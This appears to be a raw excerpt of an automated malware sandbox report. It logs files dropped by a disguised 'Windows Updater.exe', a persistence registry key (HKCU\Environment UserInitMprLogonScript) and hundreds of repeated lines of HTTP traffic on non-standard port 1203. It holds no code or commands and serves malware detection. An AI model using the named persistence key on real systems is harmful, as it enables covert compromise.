Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI73CD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB3BF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC5F7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5BF3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC833.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5DCD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB1F8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC5C7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5BA4.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB41E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6BEB.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1E83.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7F89.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB605.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB370.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA63C.tmp	Jump to dropped file

Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	File created: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part			Jump to dropped file
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	File created: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe.part			Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Windows\SysWOW64\reg.exe

Key value created or modified: HKEY_CURRENT_USER\Environment UserInitMprLogonScript

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 1203 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 1203 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
